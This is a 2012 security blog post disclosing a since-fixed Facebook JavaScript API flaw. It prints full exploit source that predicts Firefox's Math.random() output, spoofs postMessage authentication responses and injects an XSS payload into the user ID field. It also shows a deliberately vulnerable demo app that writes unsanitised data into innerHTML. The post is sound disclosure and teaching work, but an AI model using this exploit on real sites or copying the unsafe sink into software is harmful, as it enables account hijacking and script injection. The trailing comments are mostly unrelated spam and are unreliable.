Saturday, September 29, 2012

Of HTML5 security, cross-domain Math.random() prediction and Facebook JavaScript API

In an earlier post, I talked about a technique called Cross-domain Math.random() prediction. And while the technique is interesting it is perhaps not intuitively clear in what cases it could be applied. So in this post I'll show an example vulnerability in Facebook which was actually the reason why I investigated this technique in the first place.

Earlier this year, I started looking at the Facebook JavaScript API to see if I can find any vulnerabilities there. What I found is that, when a user first visits the page which uses the API, the page opens a frame in the Facebook domain and this frame sends the information about the logged in user via HTML 5 postMessage mechanism. The actual vulnerability was that the API did not check the origin of this message. In other words, it didn't verify that the authentication response message actually originated from domain, meaning that another window in another domain could send a spoofed authentication response message. Furthermore, sanity checks were not performed on the fields in the authentication response message (such as user id of the logged in user, access token etc) - the API just assumed that all of the data received is trustworthy. So in turn, if an application uses the API and assumes that all data coming from the API is trustworthy, this could lead to vulnerabilities in the application. For example, if the application uses something like

FB.getLoginStatus(function(response) {
   if (response.status === 'connected') {
      document.getElementById("greetings").innerHTML = "Some static text " + response.authResponse.userID;

this would be OK if the user ID can only be composed of numbers, but in the case the user ID is controlled by the attacker, it could lead to XSS, for example, by sending the following as user ID

<img src=x onerror=alert(1)>

So far so good, but the problems arose when I actually attempted to exploit this. While the Facebook JavaScript API indeed didn't verify the origin of the authentication response message, when the API made an authentication request, the request contained some random numbers. These numbers were sent back in the authentication response message and the API verified that they matched. These random numbers were generated by the API using the JavaScript Math.random() function. What I found out then and described in more detail in the earlier post ( was that in some browsers in some cases, the output of Math.random() can be predicted. So in the end I was able to exploit this on an example vulnerable application. The steps of the exploit are outlined below.

1. The exploit creates a window with the vulnerable Facebook application. Let's call this window W. By creating a new window, its random number generator is initialized based on the current time. API in W gets initialized and it is expecting an authentication response message from the domain.

2. Based on the current time, several predictions are made about the state of the random generator in W. Random parameters of the API messages are constructed based on these predictions.

3. For each PRNG state prediction, an authentication response message that contains an XSS payload in the user_id parameter is constructed. This message is sent to W.

4. IF the message sent in step 3 reaches W before the "real" authentication response message coming from the domain, the fake message will be accepted and parsed and the real message from the domain will be discarded.

5. If the application uses authResponse to form any HTML code and assumes authResponse is clean, the XSS payload will be executed.

The full source code of the exploit for Mozilla Firefox is given below. Note that it is based on the code given here.

      var maxms = 10000;
      var delay = 100;
      var appurl = "";
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      //inits PRNG
      function InitRandPredictor(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      //gets the next random() result according to the predicted PRNG state
      function PredictRand() {
        var first,second;
        var num, res;
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
        res = num/Math.pow(2,53);
        return res;
      //gets the next guid() result according to the predicted PRNG state
      function PredictGuid() {
        return 'f' + (PredictRand() * (1 << 30)).toString(16).replace('.', '');
      var w,n,guids;
      //starts the exploit
      function start() {
        var d = new Date();
        n = d.getTime();
        //generate possible guids based on the current time
        guids = new Array(maxms);
        for(var i=0;i<maxms;i++) {
          guids[i] = new Array(6);
          for(var j=0;j<6;j++) {
            guids[i][j] = PredictGuid();

        //create a new window with the app
        w =;  

        //post spoofed messages to the app
      function writeguids() {
        var i,j;
        var str = "";
        for(i=0;i<maxms;i++) {
          for(j=0;j<10;j++) {
            str += guids[i][j] + " , ";
          str += "<br />";
        document.getElementById("guids").innerHTML = str;
      var messagessent, signed_request, intervalId;
      //posts all messages corresponding to the possible PRNG states to the vulnerable app
      function postmessage() {
        for(var i=0;i<maxms;i++) {
          message = "_FB_" + guids[i][2] + "cb=" + guids[i][5] + "&origin=blah&domain=blah&relation=parent&frame=" + guids[i][4] + "&code=1.1111111111111111.1111.1111111111.1-111111111111111111111-11111111111_111111111" + "&signed_request=" + signed_request + "&access_token=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&expires_in=1000000&https=0";
      //post messages after "delay" in which the vulnerable app is opened and initialized
      function postmessages() {
        messagessent = 0;
        var m1 = '{"algorithm":"HMAC-SHA256","code":"1.1111111111111111.1111.1111111111.1-111111111111111|111111111111111111111111111","issued_at":' + Math.floor(n/1000).toString() + ',"user_id":"1 <img src=x onerror=alert(1)>"}';
        signed_request = "1_11111111111111111111111111111111111111111." + window.btoa(m1);
        intervalId = setTimeout("postmessage()",delay);
    <button onclick="start()">Click Me!</button>
    <div id="guids"></div>

The source code of the of an example application that was used to demonstrate the vulnerability is givene below.

<div id="fb-root">
<fb:name uid="loggedinuser" capitalize="true"></fb:name>
<fb:profile-pic uid="loggedinuser"></fb:profile-pic>
<div id="greetings"></div>
  window.fbAsyncInit = function() {
      appId      : '259710214039921', // App ID
      status     : true, // check login status
      cookie     : true, // enable cookies to allow the server to access the session
      xfbml      : true, // parse XFBML
      oauth      : true
    FB.getLoginStatus(function(response) {
    if (response.status === 'connected') {
        //alert('connected,' + response.authResponse.userID);
        document.getElementById("greetings").innerHTML = "Hi! Your Facebook ID is " + response.authResponse.userID;
      } else if (response.status === 'not_authorized') {
         FB.login(function(response) {});
      } else {
         FB.login(function(response) {});
    // Additional initialization code here

  // Load the SDK Asynchronously
     var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement('script'); = id; js.async = true;
     js.src = "//";
     //js.src = "all2.js";
     ref.parentNode.insertBefore(js, ref);

You can see a sucessful exploit attempt in the image below.

Facebook adressed this issue and now the API checks the origin of incoming messages.


Josip Franjković said...

Awesome, simply awesome!
Thanks for the post, I have learned few new things from it.

Now I shall try to abuse it :D

h43z said...


[Ben Hayak] said...

Math.random prediction...
Very dedicated, also that is quite impressive thinking of how to gain a successful exploit for the application's DOM un-sanitized html write vulnerability!
liked your straight-forward writing as well.

Awesome work!

Flex Sin said...

Thanks for this great introduction to game development using HTML5 canvas, I managed to create this game after reading your post html5

vfirst H said...

good one i like this one
netlon mesh in Coimbatore

aliya seen said...

I would like to appreciate your hard work you did write this post, Thanks for sharing this valuable post. The harvard generator is a great site.

John Alert said...

HTML5 Training in Chennai HTML5 Training in Chennai JQuery Training in Chennai JQuery Training in Chennai JavaScript Training in Chennai JavaScript Training in Chennai Full Stack Developer Training in Chennai Full Stack Developer Training in Chennai

AngularJS Training in Chennai AngularJS Training in Chennai Node.js Training in CHennai Angular 2 Training in Chennai Angular 2 Training in Chennai Node.js Training in CHennai Node.js Training in chennai MEAN Developer Training in Chennai

John Alert said...

Wow. This really made my day. Thanks a lot!

HTML5 Training in ChennaiHTML5 Training in Chennai JavaScript Training in Chennai JavaScript Training in Chennai

JavaScript Training Courses JavaScript Training Courses | Javascript Online Training Angular 2 Training in Chennai Angular 2 Training in Chennai

Ancy merina said...

Fixx Group is one of the best Companies in the web services world with our Leading Services of Web Development in Bangalore. We are dealing in all types of Business, profile, blog websites. With the help of our Team of Web Developer in Bangalore, India we are delivering the best quality work to our clients and give them complete support and services of Web Development in Bangalore.
website developers in Bangalore | website designers in bangalore

Dida ELhaik said...

خدمات نقل وتخزين الاثاث
تعرف شركة شراء اثاث مستعمل جدة
ان الاثاث من اكثر الاشياء التي لها ثمن غالي ومكلف للغايةويحتاج الي عناية جيدة وشديدة لقيام بنقلة بطريقة غير مثالية وتعرضة للخدش او الكسر نحن في غني عنه فأن تلفيات الاثاث تؤدي الي التكاليف الباهظة نظرا لتكلفة الاثاث العالية كما انه يؤدي الي الحاجه الي تكلفة اضافية لشراء اثاث من جديد ،
شركة شراء اثاث مستعمل بجدة
، ونظرا لان شركة نقل اثاث بجدة من الشركات التى تعلم جيدا حجم المشكلات والاضرار التى تحدث وهي ايضا من الشركات التى على دراية كاملة بكيفية الوصول الى افضل واحسن النتائج فى عملية النقل ،كل ماعليك ان تتعاون مع شركة شراء الاثاث المستعمل بجدة والاعتماد عليها بشكل كلي في عملية نقل الاثاث من اجل الحصول علي افضل النتائج المثالية في عمليات النقل
من اهم الخدمات التي تقدمها شركة المستقبل في عملية النقل وتجعلك تضعها من
ضمن اوائل الشركات هي :
اعتماد شراء الاثاث المستعمل بجدة علي القيام بأعمال النقل علي عدة مراحل متميزة من اهما اثناء القيام بالنقل داخل المملكة او خارجها وهي مرحلة تصنيف الاثاث عن طريق المعاينة التي تتم من قبل الخبراء والفنين المتخصصين والتعرف علي اعداد القطع الموجودة من قطع خشبية او اجهزة كهربائية ا تحف او اثاث غرف وغيرهم.
كما اننا نقوم بمرحلة فك الاثاث بعد ذلك وتعتمد شركتنا في هذة المرحلة علي اقوي الاساليب والطرق المستخدمة ويقوم بذلك العملية طاقم كبير من العمالة المتربة للقيام بأعمال الفك والتركيب.
ارقام شراء الاثاث المستعمل بالرياضثم تأتي بعد ذلك مرحلة التغليف وهي من اهم المراحل التي تعمل علي الحفاظ علي اثاث منزلك وعلي كل قطعة به وتتم عملية التغليف بطريقة مميزة عن باقي الشركات.
محلات شراء الاثاث المستعمل بالرياضويأتي بعد ذلك للمرحلة الاخيرة وهي نقل الاثاث وتركيبة ويتم اعتمادنا في عملية النقل علي اكبر الشاحنات المميزة التي تساعد علي الحفاظ علي كل قطع اثاثك اثناء عملية السير والنقل كما اننا لا نتطرق الي عمليات النقل التقليدية لخطورتها علي الاثاث وتعرضة للخدش والكسر .
تخزين الاثاث بالرياض
ارقام شراء الاثاث المستعمل بجدة
تمتلك شركة المستقبل افضل واكبر المستودعات المميزة بجدة والتي تساعد علي تحقيق اعلي مستوي من الدقة والتميز فأذا كنت في حيرة من اتمام عملية النقل والتخزين فعليك الاستعانة بشركة نقل اثاث بجدة والاتصال بنا ارقام محلات شراء الاثاث المستعمل بجدة
والتعاقد معنا للحصول علي كافة خدماتنا وعروضنا المقدمة بأفضل الاسعار المقدمة لعملائنا الكرام .